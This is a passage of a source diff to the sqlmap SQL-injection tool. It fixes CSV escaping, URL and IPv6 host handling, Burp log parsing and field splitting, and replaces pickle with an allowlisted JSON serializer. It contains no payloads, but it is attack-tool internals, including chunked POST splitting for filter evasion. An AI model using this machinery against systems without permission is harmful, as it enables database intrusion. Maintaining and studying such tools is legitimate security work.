DBMS.MIMERSQL): + elif dbms in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.HANA): retVal = name.replace("\"", "").upper() - elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): + elif dbms in (DBMS.MSSQL, DBMS.SYBASE): retVal = name.replace("[", "").replace("]", "") - if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE): + if dbms in (DBMS.MSSQL, DBMS.SYBASE): retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "", retVal) return retVal @@ -4461,14 +4624,20 @@ def safeCSValue(value): '"foo, bar"' >>> safeCSValue('foobar') 'foobar' + >>> safeCSValue('foo\\rbar') + '"foo\\rbar"' + >>> safeCSValue('foo"bar') == '"foo""bar"' + True """ retVal = value + # Note: always RFC-4180 escape a value that contains the delimiter, a quote or a newline; an + # earlier "skip if it already begins and ends with a quote" heuristic corrupted cells whose + # content legitimately starts and ends with '"' (e.g. '"a","b"' or a lone '"') if retVal and isinstance(retVal, six.string_types): - if not (retVal[0] == retVal[-1] == '"'): - if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n')): - retVal = '"%s"' % retVal.replace('"', '""') + if any(_ in retVal for _ in (conf.get("csvDel", defaults.csvDel), '"', '\n', '\r')): + retVal = '"%s"' % retVal.replace('"', '""') return retVal @@ -4500,34 +4669,36 @@ def randomizeParameterValue(value): retVal = value - value = re.sub(r"%[0-9a-fA-F]{2}", "", value) - - for match in re.finditer(r"[A-Z]+", value): + def _replace_upper(match): + original = match.group() while True: - original = match.group() - candidate = randomStr(len(match.group())).upper() - if original != candidate: - break - - retVal = retVal.replace(original, candidate) + candidate = randomStr(len(original)).upper() + if candidate != original: + return candidate - for match in re.finditer(r"[a-z]+", value): + def _replace_lower(match): + original = match.group() while True: - original = match.group() - candidate = randomStr(len(match.group())).lower() - if original != candidate: - break - - retVal = retVal.replace(original, candidate) + candidate = randomStr(len(original)).lower() + if candidate != original: + return candidate - for match in re.finditer(r"[0-9]+", value): + def _replace_digit(match): + original = match.group() while True: - original = match.group() - candidate = str(randomInt(len(match.group()))) - if original != candidate: - break + candidate = str(randomInt(len(original))) + if candidate != original: + return candidate - retVal = retVal.replace(original, candidate) + def _randomize(segment): + segment = re.sub(r"[A-Z]+", _replace_upper, segment) + segment = re.sub(r"[a-z]+", _replace_lower, segment) + segment = re.sub(r"[0-9]+", _replace_digit, segment) + return segment + + # Note: keep %XX percent-encoded bytes verbatim and randomize only the surrounding characters; + # deleting (or randomizing) the %XX would change the value's decoded content and byte length + retVal = "".join(part if re.match(r"\A%[0-9a-fA-F]{2}\Z", part) else _randomize(part) for part in re.split(r"(%[0-9a-fA-F]{2})", retVal)) if re.match(r"\A[^@]+@.+\.[a-z]+\Z", value): parts = retVal.split('.') @@ -4643,7 +4814,7 @@ def isAdminFromPrivileges(privileges): return retVal -def findPageForms(content, url, raise_=False, addToTargets=False): +def findPageForms(content, url, raiseException=False, addToTargets=False): """ Parses given page content for possible forms (Note: still not implemented for Python3) @@ -4661,7 +4832,7 @@ def geturl(self): if not content: errMsg = "can't parse forms as the page content appears to be blank" - if raise_: + if raiseException: raise SqlmapGenericException(errMsg) else: logger.debug(errMsg) @@ -4683,7 +4854,7 @@ def geturl(self): forms = ParseResponse(filtered, backwards_compat=False) except: errMsg = "no success" - if raise_: + if raiseException: raise SqlmapGenericException(errMsg) else: logger.debug(errMsg) @@ -4710,7 +4881,7 @@ def geturl(self): except (ValueError, TypeError) as ex: errMsg = "there has been a problem while " errMsg += "processing page forms ('%s')" % getSafeExString(ex) - if raise_: + if raiseException: raise SqlmapGenericException(errMsg) else: logger.debug(errMsg) @@ -4742,11 +4913,15 @@ def geturl(self): retVal.add(target) for match in re.finditer(r"\.post\(['\"]([^'\"]*)['\"],\s*\{([^}]*)\}", content): - url = _urllib.parse.urljoin(url, htmlUnescape(match.group(1))) + try: + url = _urllib.parse.urljoin(url, htmlUnescape(match.group(1))) + except ValueError: + continue + data = "" - for name, value in re.findall(r"['\"]?(\w+)['\"]?\s*:\s*(['\"][^'\"]+)?", match.group(2)): - data += "%s=%s%s" % (name, value, DEFAULT_GET_POST_DELIMITER) + for name, value in re.findall(r"['\"]?(\w+)['\"]?\s*:\s*['\"]?([^'\",}]*)['\"]?", match.group(2)): + data += "%s=%s%s" % (name, value.strip(), DEFAULT_GET_POST_DELIMITER) data = data.rstrip(DEFAULT_GET_POST_DELIMITER) retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None)) @@ -4762,7 +4937,7 @@ def geturl(self): if not retVal and not conf.crawlDepth: errMsg = "there were no forms found at the given target URL" - if raise_: + if raiseException: raise SqlmapGenericException(errMsg) else: logger.debug(errMsg) @@ -4793,7 +4968,17 @@ def _(value): value = "http://%s" % value return value - return all(re.sub(r"(?i)\Awww\.", "", _urllib.parse.urlparse(_(url) or "").netloc.split(':')[0]) == re.sub(r"(?i)\Awww\.", "", _urllib.parse.urlparse(_(urls[0]) or "").netloc.split(':')[0]) for url in urls[1:]) + first = _urllib.parse.urlparse(_(urls[0]) or "").hostname or "" + first = re.sub(r"(?i)\Awww\.", "", first) + + for url in urls[1:]: + current = _urllib.parse.urlparse(_(url) or "").hostname or "" + current = re.sub(r"(?i)\Awww\.", "", current) + + if current != first: + return False + + return True def getHostHeader(url): """ @@ -4801,6 +4986,10 @@ def getHostHeader(url): >>> getHostHeader('http://www.target.com/vuln.php?id=1') 'www.target.com' + >>> getHostHeader('http://[::1]:8080/vuln.php?id=1') + '[::1]:8080' + >>> getHostHeader('http://[::1]/vuln.php?id=1') + '[::1]' """ retVal = url @@ -4808,10 +4997,11 @@ def getHostHeader(url): if url: retVal = _urllib.parse.urlparse(url).netloc - if re.search(r"http(s)?://\[.+\]", url, re.I): - retVal = extractRegexResult(r"http(s)?://\[(?P.+)\]", url) - elif any(retVal.endswith(':%d' % _) for _ in (80, 443)): - retVal = retVal.split(':')[0] + # Note: netloc keeps the IPv6 brackets (and any port), so only the default ports are + # stripped here - mirroring the hostname/IPv4 branch and preserving non-default ports + # (e.g. '[::1]:8080') as required by RFC 7230 + if any(retVal.endswith(':%d' % _) for _ in (80, 443)): + retVal = retVal[:retVal.rfind(':')] if retVal and retVal.count(':') > 1 and not any(_ in retVal for _ in ('[', ']')): retVal = "[%s]" % retVal @@ -4881,7 +5071,7 @@ def serializeObject(object_): True """ - return base64pickle(object_) + return serializeValue(object_) def unserializeObject(value): """ @@ -4889,11 +5079,11 @@ def unserializeObject(value): >>> unserializeObject(serializeObject([1, 2, 3])) == [1, 2, 3] True - >>> unserializeObject('gAJVBmZvb2JhcnEBLg==') - 'foobar' + >>> unserializeObject(serializeObject('foobar')) == 'foobar' + True """ - return base64unpickle(value) if value else None + return deserializeValue(value) if value else None def resetCounter(technique): """ @@ -4907,7 +5097,14 @@ def incrementCounter(technique): Increments query counter for a given technique """ - kb.counters[technique] = getCounter(technique) + 1 + # Note: the read-modify-write must be atomic since worker threads increment concurrently; + # guard with the shared 'count' lock when available (it is absent in isolated/doctest use) + lock = kb.locks.count if kb.get("locks") else None + if lock is not None: + with lock: + kb.counters[technique] = getCounter(technique) + 1 + else: + kb.counters[technique] = getCounter(technique) + 1 def getCounter(technique): """ @@ -4940,6 +5137,12 @@ def decodeDbmsHexValue(value, raw=False): >>> decodeDbmsHexValue('3132332031') == u'123 1' True + >>> decodeDbmsHexValue('31003200330020003100') == u'123 1' + True + >>> decodeDbmsHexValue('00310032003300200031') == u'123 1' + True + >>> decodeDbmsHexValue('0x31003200330020003100') == u'123 1' + True >>> decodeDbmsHexValue('313233203') == u'123 ?' True >>> decodeDbmsHexValue(['0x31', '0x32']) == [u'1', u'2'] @@ -4978,6 +5181,9 @@ def _(value): if not isinstance(retVal, six.text_type): retVal = getUnicode(retVal, conf.encoding or UNICODE_ENCODING) + if u"\x00" in retVal: + retVal = retVal.replace(u"\x00", u"") + return retVal try: @@ -4993,6 +5199,10 @@ def extractExpectedValue(value, expected): >>> extractExpectedValue(['1'], EXPECTED.BOOL) True + >>> extractExpectedValue(['17'], EXPECTED.BOOL) + True + >>> extractExpectedValue(['0'], EXPECTED.BOOL) + False >>> extractExpectedValue('1', EXPECTED.INT) 1 >>> extractExpectedValue('7\\xb9645', EXPECTED.INT) is None @@ -5013,10 +5223,10 @@ def extractExpectedValue(value, expected): value = value == "true" elif value in ('t', 'f'): value = value == 't' - elif value in ("1", "-1"): - value = True elif value == '0': value = False + elif re.search(r"\A-?[1-9]\d*\Z", value): + value = True else: value = None elif expected == EXPECTED.INT: @@ -5066,12 +5276,13 @@ def resetCookieJar(cookieJar): logger.info(infoMsg) content = readCachedFileContent(conf.loadCookies) + content = re.sub("(?im)^#httpOnly_", "", content) lines = filterNone(line.strip() for line in content.split("\n") if not line.startswith('#')) handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.COOKIE_JAR) os.close(handle) # Reference: http://www.hashbangcode.com/blog/netscape-http-cooke-file-parser-php-584.html - with openFile(filename, "w+b") as f: + with openFile(filename, "w+") as f: f.write("%s\n" % NETSCAPE_FORMAT_HEADER_COOKIES) for line in lines: _ = line.split("\t") @@ -5130,14 +5341,16 @@ def prioritySortColumns(columns): Sorts given column names by length in ascending order while those containing string 'id' go first - >>> prioritySortColumns(['password', 'userid', 'name']) - ['userid', 'name', 'password'] + >>> prioritySortColumns(['password', 'userid', 'name', 'id']) + ['id', 'userid', 'name', 'password'] """ - def _(column): - return column and re.search(r"^id|id$", column, re.I) is not None + recompile = re.compile(r"^id|id$", re.I) - return sorted(sorted(columns, key=len), key=functools.cmp_to_key(lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0)) + return sorted(columns, key=lambda col: ( + not (col and recompile.search(col)), + len(col) + )) def getRequestHeader(request, name): """ @@ -5193,10 +5406,21 @@ def zeroDepthSearch(expression, value): retVal = [] depth = 0 - for index in xrange(len(expression)): - if expression[index] == '(': + quote = None + index = 0 + while index < len(expression): + char = expression[index] + if quote: # Note: content inside a single/double quoted string literal is data, not structure - a delimiter/keyword there must not be matched (e.g. ',' or ' FROM ' inside 'a,b'/'x FROM y') + if char == quote: + if index + 1 < len(expression) and expression[index + 1] == quote: # escaped quote (e.g. '') + index += 1 + else: + quote = None + elif char in ('"', "'"): + quote = char + elif char == '(': depth += 1 - elif expression[index] == ')': + elif char == ')': depth -= 1 elif depth == 0: if value.startswith('[') and value.endswith(']'): @@ -5204,6 +5428,7 @@ def zeroDepthSearch(expression, value): retVal.append(index) elif expression[index:index + len(value)] == value: retVal.append(index) + index += 1 return retVal @@ -5213,14 +5438,45 @@ def splitFields(fields, delimiter=','): >>> splitFields('foo, bar, max(foo, bar)') ['foo', 'bar', 'max(foo,bar)'] + >>> splitFields("a, 'b, c', d") + ['a', "'b, c'", 'd'] + >>> splitFields('a; b; max(c; d)', delimiter=';') + ['a', 'b', 'max(c;d)'] """ - fields = fields.replace("%s " % delimiter, delimiter) - commas = [-1, len(fields)] - commas.extend(zeroDepthSearch(fields, ',')) - commas = sorted(commas) + # collapse " " -> "" but only OUTSIDE quoted string literals, so a + # space inside e.g. 'b, c' survives (the quote handling mirrors zeroDepthSearch) + normalized = [] + quote = None + index = 0 + while index < len(fields): + char = fields[index] + if quote: + normalized.append(char) + if char == quote: + if index + 1 < len(fields) and fields[index + 1] == quote: # escaped quote (e.g. '') + normalized.append(fields[index + 1]) + index += 2 + continue + else: + quote = None + elif char in ('"', "'"): + quote = char + normalized.append(char) + elif char == delimiter and index + 1 < len(fields) and fields[index + 1] == ' ': + normalized.append(char) # keep the delimiter, drop the single trailing space + index += 2 + continue + else: + normalized.append(char) + index += 1 + + fields = "".join(normalized) + splits = [-1, len(fields)] + splits.extend(zeroDepthSearch(fields, delimiter)) + splits = sorted(splits) - return [fields[x + 1:y] for (x, y) in _zip(commas, commas[1:])] + return [fields[x + 1:y] for (x, y) in _zip(splits, splits[1:])] def pollProcess(process, suppress_errors=False): """ @@ -5261,6 +5517,9 @@ def _parseWebScarabLog(content): Parses WebScarab logs (POST method not supported) """ + if WEBSCARAB_SPLITTER not in content: + return + reqResList = content.split(WEBSCARAB_SPLITTER) for request in reqResList: @@ -5279,7 +5538,7 @@ def _parseWebScarabLog(content): logger.warning(warnMsg) continue - if not(conf.scope and not re.search(conf.scope, url, re.I)): + if not (conf.scope and not re.search(conf.scope, url, re.I)): yield (url, method, None, cookie, tuple()) def _parseBurpLog(content): @@ -5299,7 +5558,7 @@ def _parseBurpLog(content): _ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request) if _: host = _.group(0).strip() - if not re.search(r":\d+\Z", host): + if not re.search(r":\d+\Z", host) and int(port) != 80: request = request.replace(host, "%s:%d" % (host, int(port))) reqResList.append(request) else: @@ -5327,6 +5586,7 @@ def _parseBurpLog(content): continue getPostReq = False + forceBody = False url = None host = None method = None @@ -5343,11 +5603,13 @@ def _parseBurpLog(content): if not line.strip() and index == len(lines) - 1: break + line = re.sub(INJECT_HERE_REGEX, CUSTOM_INJECTION_MARK_CHAR, line) + newline = "\r\n" if line.endswith('\r') else '\n' line = line.strip('\r') match = re.search(r"\A([A-Z]+) (.+) HTTP/[\d.]+\Z", line) if not method else None - if len(line.strip()) == 0 and method and method != HTTPMETHOD.GET and data is None: + if len(line.strip()) == 0 and method and (method != HTTPMETHOD.GET or forceBody) and data is None: data = "" params = True @@ -5373,8 +5635,10 @@ def _parseBurpLog(content): key, value = line.split(":", 1) value = value.strip().replace("\r", "").replace("\n", "") - # Note: overriding values with --headers '...' - match = re.search(r"(?i)\b(%s): ([^\n]*)" % re.escape(key), conf.headers or "") + # Note: overriding values with --headers '...'; the lookbehind prevents the key + # from matching the hyphen-suffix tail of a longer header name (e.g. 'Host' + # matching inside 'X-Forwarded-Host'), which would corrupt the outgoing header + match = re.search(r"(?i)(? 1: - port = filterStringValue(splitValue[1], "[0-9]") + port = extractRegexResult(r":(?P\d+)\Z", value) + if port: + host = value[:-(1 + len(port))] + else: + host = value # Avoid to add a static content length header to # headers and consider the following lines as # POSTed data if key.upper() == HTTP_HEADER.CONTENT_LENGTH.upper(): + forceBody = True params = True # Avoid proxy and connection type related headers @@ -5424,7 +5690,7 @@ def _parseBurpLog(content): scheme = None port = None - if not(conf.scope and not re.search(conf.scope, url, re.I)): + if not (conf.scope and not re.search(conf.scope, url, re.I)): yield (url, conf.method or method, data, cookie, tuple(headers)) content = readCachedFileContent(reqFile) @@ -5495,7 +5761,12 @@ def unsafeVariableNaming(value): """ if value.startswith(EVALCODE_ENCODED_PREFIX): - value = decodeHex(value[len(EVALCODE_ENCODED_PREFIX):], binary=False) + # Note: the suffix is only hex when produced by safeVariableNaming(); a user-defined + # name that merely happens to start with the prefix (e.g. via --eval) is left intact + try: + value = decodeHex(value[len(EVALCODE_ENCODED_PREFIX):], binary=False) + except (binascii.Error, ValueError, TypeError): + pass return value @@ -5528,6 +5799,7 @@ def removePostHintPrefix(value): return re.sub(r"\A(%s) " % '|'.join(re.escape(__) for __ in getPublicTypeMembers(POST_HINT, onlyValues=True)), "", value) + def chunkSplitPostData(data): """ Convert POST data to chunked transfer-encoded data (Note: splitting done by SQL keywords) @@ -5538,7 +5810,7 @@ def chunkSplitPostData(data): """ length = len(data) - retVal = "" + retVal = [] index = 0 while index < length: @@ -5558,9 +5830,68 @@ def chunkSplitPostData(data): break index += chunkSize - retVal += "%x;%s\r\n" % (chunkSize, salt) - retVal += "%s\r\n" % candidate - retVal += "0\r\n\r\n" + # Append to list instead of recreating the string + retVal.append("%x;%s\r\n" % (chunkSize, salt)) + retVal.append("%s\r\n" % candidate) + + retVal.append("0\r\n\r\n") + + return "".join(retVal) + +def isGitRepository(): + """ + Whether the running source tree is a git working copy (i.e. a clone / dev checkout, as opposed to a + pip/tarball install) + """ + + return os.path.isdir(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")) + +def codeIsModified(): + """ + Best-effort check whether a git working copy has local modifications, used to avoid auto-reporting + crashes that stem from a user's OWN changes. Only meaningful for git checkouts (dev/clone); a + pip/tarball install is taken as shipped (returns False). A transient git error also yields False, + so a missing git binary never silences a legitimate report. + + >>> codeIsModified() in (True, False) + True + """ + + retVal = False + + if isGitRepository(): + try: + process = subprocess.Popen("git diff-index --quiet HEAD --", shell=True, cwd=paths.SQLMAP_ROOT_PATH, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + process.communicate() + if process.returncode == 1: # 0 == clean, 1 == modified (anything else == git error) + retVal = True + except Exception: + pass return retVal + +def safeCompareStrings(a, b): + """ + Constant-time string comparison to prevent timing attacks. + >>> safeCompareStrings("test", "test") + True + >>> safeCompareStrings("test", None) + False + >>> safeCompareStrings("test1", "test2") + False + """ + if a is None or b is None: + return a == b + + if hasattr(hmac, "compare_digest"): + return hmac.compare_digest(a, b) + + # Fallback for Python < 2.7.7 and < 3.3 + if len(a) != len(b): + return False + + result = 0 + for x, y in zip(a, b): + result |= ord(x) ^ ord(y) + return result == 0 diff --git a/lib/core/compat.py b/lib/core/compat.py index 851e57eb87d..08d8f02d75d 100644 --- a/lib/core/compat.py +++ b/lib/core/compat.py @@ -1,14 +1,16 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import division +import codecs import binascii import functools +import io import math import os import random @@ -278,37 +280,140 @@ def __hash__(self): xrange = xrange buffer = buffer +try: + RecursionError = RecursionError +except NameError: + # Note: patch for Python < 3.5 (RecursionError, a subclass of RuntimeError, was introduced in Python 3.5) + RecursionError = RuntimeError + def LooseVersion(version): """ >>> LooseVersion("1.0") == LooseVersion("1.0") True >>> LooseVersion("1.0.1") > LooseVersion("1.0") True - >>> LooseVersion("1.0.1-") == LooseVersion("1.0.1") - True >>> LooseVersion("1.0.11") < LooseVersion("1.0.111") True - >>> LooseVersion("foobar") > LooseVersion("1.0") - False - >>> LooseVersion("1.0") > LooseVersion("foobar") - False - >>> LooseVersion("3.22-mysql") == LooseVersion("3.22-mysql-ubuntu0.3") + >>> LooseVersion("8.0.22") > LooseVersion("8.0.2") True - >>> LooseVersion("8.0.22-0ubuntu0.20.04.2") - 8.000022 + >>> LooseVersion("1.0alpha-beta-gama") + (1, 0) """ - match = re.search(r"\A(\d[\d.]*)", version or "") - if match: - result = 0 - value = match.group(1) - weight = 1.0 - for part in value.strip('.').split('.'): - if part.isdigit(): - result += int(part) * weight - weight *= 1e-3 + return tuple(int(part) for part in match.group(1).strip('.').split('.') if part.isdigit()) else: - result = float("NaN") + return () + +# NOTE: codecs.open re-implementation (deprecated in Python 3.14) + +try: + # Py2 + _text_type = unicode + _bytes_types = (str, bytearray) +except NameError: + # Py3 + _text_type = str + _bytes_types = (bytes, bytearray, memoryview) + +_WRITE_CHARS = ("w", "a", "x", "+") + +def _is_write_mode(mode): + return any(ch in mode for ch in _WRITE_CHARS) + +class MixedWriteTextIO(object): + """ + Text-ish stream wrapper that accepts both text and bytes in write(). + Bytes are decoded using the file's (encoding, errors) before writing. + + Optionally approximates line-buffering by flushing when a newline is written. + """ + def __init__(self, fh, encoding, errors, line_buffered=False): + self._fh = fh + self._encoding = encoding + self._errors = errors + self._line_buffered = line_buffered + + def write(self, data): + # bytes-like but not text -> decode + if isinstance(data, _bytes_types) and not isinstance(data, _text_type): + data = bytes(data).decode(self._encoding, self._errors) + elif not isinstance(data, _text_type): + data = _text_type(data) + + n = self._fh.write(data) + + # Approximate "line buffering" behavior if requested + if self._line_buffered and u"\n" in data: + try: + self._fh.flush() + except Exception: + pass + + return n + + def writelines(self, lines): + for x in lines: + self.write(x) + + def __iter__(self): + return iter(self._fh) + + def __next__(self): + return next(self._fh) + + def next(self): # Py2 + return self.__next__() + + def __getattr__(self, name): + return getattr(self._fh, name) + + def __enter__(self): + self._fh.__enter__() + return self + + def __exit__(self, exc_type, exc, tb): + return self._fh.__exit__(exc_type, exc, tb) + + +def _codecs_open(filename, mode="r", encoding=None, errors="strict", buffering=-1): + """ + Replacement for deprecated codecs.open() entry point with sqlmap-friendly behavior. + + - If encoding is None: return io.open(...) as-is. + - If encoding is set: force underlying binary mode and wrap via StreamReaderWriter + (like codecs.open()). + - For write-ish modes: return a wrapper that also accepts bytes on .write(). + - Handles buffering=1 in binary mode by downgrading underlying buffering to -1, + while optionally preserving "flush on newline" behavior in the wrapper. + """ + if encoding is None: + return io.open(filename, mode, buffering=buffering) + + bmode = mode + if "b" not in bmode: + bmode += "b" + + # Avoid line-buffering warnings/errors on binary streams + line_buffered = (buffering == 1) + if line_buffered: + buffering = -1 + + f = io.open(filename, bmode, buffering=buffering) + + try: + info = codecs.lookup(encoding) + srw = codecs.StreamReaderWriter(f, info.streamreader, info.streamwriter, errors) + srw.encoding = encoding + + if _is_write_mode(mode): + return MixedWriteTextIO(srw, encoding, errors, line_buffered=line_buffered) + + return srw + except Exception: + try: + f.close() + finally: + raise - return result +codecs_open = _codecs_open if sys.version_info >= (3, 14) else codecs.open diff --git a/lib/core/convert.py b/lib/core/convert.py index c6f86aa1fe1..95b29622d17 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -1,21 +1,19 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ -try: - import cPickle as pickle -except: - import pickle - import base64 import binascii import codecs +import datetime +import decimal import json import re import sys +import time from lib.core.bigarray import BigArray from lib.core.compat import xrange @@ -25,80 +23,266 @@ from lib.core.settings import IS_TTY from lib.core.settings import IS_WIN from lib.core.settings import NULL -from lib.core.settings import PICKLE_PROTOCOL from lib.core.settings import SAFE_HEX_MARKER from lib.core.settings import UNICODE_ENCODING from thirdparty import six from thirdparty.six import unichr as _unichr +from thirdparty.six.moves import html_parser from thirdparty.six.moves import collections_abc as _collections try: - from html import escape as htmlEscape + from html import escape as _escape except ImportError: - from cgi import escape as htmlEscape + from cgi import escape as _escape + +htmlEscape = _escape + +# Safe (no arbitrary code execution) serialization used for the session store (HashDB) +# and BigArray disk chunks. The former serializer could execute code while loading, so +# deserializing sqlmap's own (locally writable) session/cache files was a recurring +# report magnet. This codec serializes to plain JSON with explicit type tags, so nothing +# is ever executed on load. +# +# JSON natively covers only str/int/float/bool/None/list, and silently loses the rest +# (int/tuple dict keys become strings, set/tuple/bytes are rejected). The tagged wrappers +# below preserve every type sqlmap actually stores: bytes, tuple, set/frozenset, dict with +# arbitrary (non-string) keys, DB-driver scalars (Decimal/datetime/...), and the handful of +# sqlmap's own classes below. Reconstruction of classes is limited to that explicit +# allowlist (no module/namespace wildcard), so no dangerous callable is ever reachable. + +# reserved wrapper key; data mappings are encoded as tagged pair-lists (never as bare JSON +# objects), so any decoded JSON object is one of our wrappers and this key can never collide +_SERIALIZE_TAG = "$T" + +# fully-qualified names of the ONLY classes that may be reconstructed on deserialization +_SERIALIZE_CLASSES = frozenset(( + "lib.core.datatype.AttribDict", + "lib.core.datatype.InjectionDict", + "lib.utils.har.RawPair", +)) + +def _serializeEncode(value): + """ + Turns a Python value into a JSON-serializable (tagged) structure + """ + + if value is None or isinstance(value, bool) or isinstance(value, float) or isinstance(value, six.integer_types): + return value + + if isinstance(value, six.text_type): + return value + + # Note: on Python 2 'str' is binary; base64-tagging it (rather than emitting a native JSON + # string that would round-trip as 'unicode') keeps the exact byte type across versions + if isinstance(value, (six.binary_type, bytearray)): + raw = bytes(value) if isinstance(value, bytearray) else value + return {_SERIALIZE_TAG: "b", "v": encodeBase64(raw, binary=False), "a": 1 if isinstance(value, bytearray) else 0} + + if isinstance(value, memoryview): + return {_SERIALIZE_TAG: "b", "v": encodeBase64(value.tobytes(), binary=False), "a": 0} + + try: + if isinstance(value, buffer): # noqa: F821 # Python 2 only + return {_SERIALIZE_TAG: "b", "v": encodeBase64(bytes(value), binary=False), "a": 0} + except NameError: + pass + + # Note: BigArray is a 'list' subclass, so it must be matched before the plain-list branch + # (otherwise it would round-trip as a plain list, losing its type) + if isinstance(value, BigArray): + return {_SERIALIZE_TAG: "ba", "v": [_serializeEncode(_) for _ in value]} + + if isinstance(value, list): + return [_serializeEncode(_) for _ in value] + + if isinstance(value, tuple): + return {_SERIALIZE_TAG: "t", "v": [_serializeEncode(_) for _ in value]} + + if isinstance(value, frozenset): + return {_SERIALIZE_TAG: "f", "v": [_serializeEncode(_) for _ in value]} + + if isinstance(value, (set, _collections.Set)): + return {_SERIALIZE_TAG: "s", "v": [_serializeEncode(_) for _ in value]} + + if isinstance(value, dict): + name = "%s.%s" % (value.__class__.__module__, value.__class__.__name__) + if name in _SERIALIZE_CLASSES: + return {_SERIALIZE_TAG: "o", "c": name, "d": [[_serializeEncode(k), _serializeEncode(v)] for (k, v) in value.items()], "s": _serializeEncode(dict(value.__dict__))} + elif value.__class__ is dict: + return {_SERIALIZE_TAG: "m", "v": [[_serializeEncode(k), _serializeEncode(v)] for (k, v) in value.items()]} + else: + return _serializeUnknown(value, name) + + if isinstance(value, decimal.Decimal): + return {_SERIALIZE_TAG: "dec", "v": getUnicode(value)} + + if isinstance(value, datetime.datetime): + return {_SERIALIZE_TAG: "dt", "v": [value.year, value.month, value.day, value.hour, value.minute, value.second, value.microsecond]} + + if isinstance(value, datetime.date): + return {_SERIALIZE_TAG: "date", "v": [value.year, value.month, value.day]} + + if isinstance(value, datetime.time): + return {_SERIALIZE_TAG: "time", "v": [value.hour, value.minute, value.second, value.microsecond]} + + if isinstance(value, datetime.timedelta): + return {_SERIALIZE_TAG: "td", "v": [value.days, value.seconds, value.microseconds]} + + name = "%s.%s" % (value.__class__.__module__, value.__class__.__name__) + if name in _SERIALIZE_CLASSES: + return {_SERIALIZE_TAG: "o", "c": name, "s": _serializeEncode(dict(value.__dict__))} -def base64pickle(value): + return _serializeUnknown(value, name) + +def _serializeUnknown(value, name): + """ + Fallback for a type not explicitly handled by the serializer """ - Serializes (with pickle) and encodes to Base64 format supplied (binary) value - >>> base64unpickle(base64pickle([1, 2, 3])) == [1, 2, 3] - True + # sqlmap's own (or bundled) classes MUST be added to the allowlist explicitly - fail loudly + # (caught by the regression tests) rather than silently store something that cannot be restored + if (name or "").split(".")[0] in ("lib", "plugins", "thirdparty"): + raise TypeError("serialization of type '%s' is not supported" % name) + + # a foreign/exotic scalar (e.g. an unusual DB-driver value): degrade to its textual form rather + # than crash a user's session - session values are only ever rendered (getUnicode) downstream + singleTimeWarnMessage("serializing value of unsupported type '%s' as text" % name) + return getUnicode(value) + +def _serializeDecode(struct): + """ + Restores a Python value from a JSON-deserialized (tagged) structure """ - retVal = None + if struct is None or isinstance(struct, bool) or isinstance(struct, float) or isinstance(struct, six.integer_types): + return struct + + if isinstance(struct, six.text_type): + return struct + + if isinstance(struct, six.binary_type): # defensive - json.loads() yields text, not bytes + return getUnicode(struct) + + if isinstance(struct, list): + return [_serializeDecode(_) for _ in struct] + + if isinstance(struct, dict): + tag = struct.get(_SERIALIZE_TAG) + + if tag == "b": + raw = decodeBase64(struct["v"], binary=True) + return bytearray(raw) if struct.get("a") else raw + elif tag == "t": + return tuple(_serializeDecode(_) for _ in struct["v"]) + elif tag == "f": + return frozenset(_serializeDecode(_) for _ in struct["v"]) + elif tag == "ba": + return BigArray([_serializeDecode(_) for _ in struct["v"]]) + elif tag == "s": + return set(_serializeDecode(_) for _ in struct["v"]) + elif tag == "m": + return dict((_serializeDecode(k), _serializeDecode(v)) for (k, v) in struct["v"]) + elif tag == "dec": + return decimal.Decimal(struct["v"]) + elif tag == "dt": + return datetime.datetime(*struct["v"]) + elif tag == "date": + return datetime.date(*struct["v"]) + elif tag == "time": + return datetime.time(*struct["v"]) + elif tag == "td": + return datetime.timedelta(struct["v"][0], struct["v"][1], struct["v"][2]) + elif tag == "o": + return _serializeDecodeObject(struct) + elif tag is None: # defensive - a bare mapping should never occur + return dict((_serializeDecode(k), _serializeDecode(v)) for (k, v) in struct.items()) + else: + raise ValueError("unsupported serialized tag '%s'" % tag) - try: - retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL), binary=False) - except: - warnMsg = "problem occurred while serializing " - warnMsg += "instance of a type '%s'" % type(value) - singleTimeWarnMessage(warnMsg) + raise ValueError("unsupported serialized structure of type '%s'" % type(struct)) - try: - retVal = encodeBase64(pickle.dumps(value), binary=False) - except: - retVal = encodeBase64(pickle.dumps(str(value), PICKLE_PROTOCOL), binary=False) +def _serializeResolveClass(name): + """ + Resolves an allowlisted class name to its class (nothing else may be reconstructed) + """ + + if name not in _SERIALIZE_CLASSES: + raise ValueError("deserialization of class '%s' is forbidden" % name) + + if name == "lib.utils.har.RawPair": + from lib.utils.har import RawPair + return RawPair + else: + from lib.core.datatype import AttribDict, InjectionDict + return InjectionDict if name.endswith("InjectionDict") else AttribDict + +def _serializeDecodeObject(struct): + """ + Reconstructs an allowlisted class instance from its serialized form + """ + + _class = _serializeResolveClass(struct.get("c")) + retVal = _class.__new__(_class) + + if isinstance(retVal, dict): + for pair in (struct.get("d") or []): + dict.__setitem__(retVal, _serializeDecode(pair[0]), _serializeDecode(pair[1])) + + state = _serializeDecode(struct.get("s") or {}) + if isinstance(state, dict): + retVal.__dict__.update(state) return retVal -def base64unpickle(value): +def serializeValue(value): """ - Decodes value from Base64 to plain format and deserializes (with pickle) its content + Safely serializes a Python value to its canonical serialized form (JSON text), without any + code-execution risk + + Note: the output is pure ASCII text, so it is stored verbatim in the (TEXT) session store - no + Base64 (or any base-N) wrapping is needed (that was only required by the former binary + serialization), which also 